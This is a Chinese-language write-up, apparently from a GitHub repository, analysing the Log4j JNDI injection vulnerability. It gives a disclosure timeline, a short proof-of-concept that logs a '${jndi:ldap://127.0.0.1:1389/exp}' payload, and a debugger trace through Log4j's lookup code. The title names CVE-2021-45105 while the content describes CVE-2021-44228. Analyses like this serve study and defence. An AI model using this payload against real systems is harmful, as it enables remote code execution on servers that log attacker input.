Skip to content

Latest commit

 

History

History
238 lines (206 loc) · 10.6 KB

CVE-2021-45105.md

File metadata and controls

238 lines (206 loc) · 10.6 KB

Apache Log4j 漏洞分析 (CVE-2021-45105)

0x00 Introduction

2021.12.09安全圈,红队的狂欢,蓝队的噩梦。CVE-2021-45105堪称核弹级漏洞,主要在于log4j应用极其广泛,漏洞触发也相对容易,百度、苹果、特斯拉等大厂都存在漏洞。

漏洞披露时间轴:

  • 2014年7月13日:Apache Log4j2官方发布log4j-2.0此时该漏洞已经存在,距今7年之久;
  • 2021年11月24日:阿里云安全团队向Apache官方报告了ApacheLog4j2远程代码执行漏洞(CVE-2021-44228);
  • 2021年12月8日:Apache Log4j2官方发布log4j2-2.15.0-rc1并第一次修复CVE-2021-44228漏洞;
  • 2021年12月9日:启明星辰ADLab监测到Apache Log4j2官方公告并开展验证;
  • 2021年12月10日:启明星辰ADLab确认漏洞存在,成功复现该漏洞并通报主管单位;
  • 2021年12月10日:启明星辰ADLab研究确认log4j2-2.15.0-rc1存在Bypass的漏洞;
  • 2021年12月10日:Apache Log4j2官方发布log4j2-2.15.0-rc2修复bypass漏洞。

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

环境准备

PoC代码

  • log4j 2.4.1
  • jdk1.8

0x01 漏洞分析

PoC:

public class PoC {
    private static final Logger logger = LogManager.getLogger(PoC.class);
    public static void main(String[] args) {
        String poc = "${jndi:ldap://127.0.0.1:1389/exp}";
        //String poc = "${java:version}";
        logger.error(poc);
    }
}

默认情况下,log4j会检测${}占位符,对jndi,java等关键词进行相应的解析,其中jndi关键词可以直接远程加载代码执行,造成了漏洞的存在。

0x02 调试分析

把断点定位org.apache.logging.log4j.core.net.JndiManager.lookup()
调用栈:

lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:12, PoC (org.example)

我们首先断点跟进去,org.apache.logging.log4j.core.Logger.logIfEnabled()。断日志打印级别,当前日志等级高于配置级别才走下去,打印格式化日志。

public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message, final Throwable throwable) {
    //判断日志打印级别,当前日志等级高于配置级别才走下去
    if (this.isEnabled(level, marker, message, throwable)) {
        this.logMessage(fqcn, level, marker, message, throwable);
    }

}

中间省略一些调用逻辑,基本没有分支,都是类封装嵌套。
在格式化log打印toText()中serializer.toSerializable(event, destination);
其中,最关键的是Log4j格式化处理PatternFormatter对象,用于格式化输出日志信息。

public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    int len = this.formatters.length;

    for(int i = 0; i < len; ++i) {
        //PatternFormatter数组
        this.formatters[i].format(event, buffer);
    }

    if (this.replace != null) {
        String str = buffer.toString();
        str = this.replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }

    return buffer;
}

数组第一个是Date时间的打印,其格式化方法是 org.apache.logging.log4j.core.pattern.DatePatternConverter的format方法

public void format(final LogEvent event, final StringBuilder buf) {
    if (this.skipFormattingInfo) {
        this.converter.format(event, buf);
    } else {
        this.formatWithInfo(event, buf);
    }

}

我们自定义的消息打印对应的方式是, org.apache.logging.log4j.core.pattern.MessagePatternConverter的format方法,来检测字符串是否有${}占位符进行下一步解析。

public void format(final LogEvent event, final StringBuilder toAppendTo) {
    Message msg = event.getMessage();
    if (msg instanceof StringBuilderFormattable) {
        boolean doRender = this.textRenderer != null;
        StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
        int offset = workingBuilder.length();
        if (msg instanceof MultiFormatStringBuilderFormattable) {
            ((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
        } else {
            ((StringBuilderFormattable)msg).formatTo(workingBuilder);
        }
        //this.noLookups默认是false也就是开启
        if (this.config != null && !this.noLookups) {
            for(int i = offset; i < workingBuilder.length() - 1; ++i) {   
                //判断是否存在${占位符
                if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                    String value = workingBuilder.substring(offset, workingBuilder.length());
                    workingBuilder.setLength(offset);
                    //如果存在会进行解析替换
                    workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
                }
            }
        }
        ...

org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute()继续跟会通过${}来取出其中的字符串,进行下一步解析。

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) {
    ...
    //解析
    String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
    ...

org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable()

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

通过${}取出的字符串会检测前缀,跟strLookupMap字典比对,找寻对应的event方法。 org.apache.logging.log4j.core.lookup.Interpolator.lookup()

public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    } else {
        int prefixPos = var.indexOf(58);
        if (prefixPos >= 0) {
            String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
            String name = var.substring(prefixPos + 1);
            //通过前缀来解析
            StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);
            if (lookup instanceof ConfigurationAware) {
                ((ConfigurationAware)lookup).setConfiguration(this.configuration);
            }

            String value = null;
            if (lookup != null) {
                //匹配事件对象执行
                value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
            }
        ...

strLookupMap字典对应的方法,其中就包括jndi。

{
    date=org.apache.logging.log4j.core.lookup.DateLookup@26b3fd41,
    java=org.apache.logging.log4j.core.lookup.JavaLookup@7494f96a,marker=org.apache.logging.log4j.core.lookup.MarkerLookup@561b6512, 
    ctx=org.apache.logging.log4j.core.lookup.ContextMapLookup@2e377400, 
    lower=org.apache.logging.log4j.core.lookup.LowerLookup@1757cd72, 
    upper=org.apache.logging.log4j.core.lookup.UpperLookup@445b295b, 
    jndi=org.apache.logging.log4j.core.lookup.JndiLookup@49e5f737, 
    main=org.apache.logging.log4j.core.lookup.MapLookup@5c671d7f, 
    jvmrunargs=org.apache.logging.log4j.core.lookup.
    JmxRuntimeInputArgumentsLookup@757277dc, sys=org.apache.logging.
    log4j.core.lookup.SystemPropertiesLookup@687e99d8, env=org.
    apache.logging.log4j.core.lookup.EnvironmentLookup@e4487af, 
    log4j=org.apache.logging.log4j.core.lookup.Log4jLookup@6aaceffd
}

org.apache.logging.log4j.core.lookup.JndiLookup.lookup()方法中就是调用jndi进行解析,进而产生了jndi注入。

public String lookup(final LogEvent event, final String key) {
    if (key == null) {
        return null;
    } else {
        String jndiName = this.convertJndiName(key);

        try {
            JndiManager jndiManager = JndiManager.getDefaultManager();
            Throwable var5 = null;

            String var6;
            try {
                //jndi注入点
                var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);

Ref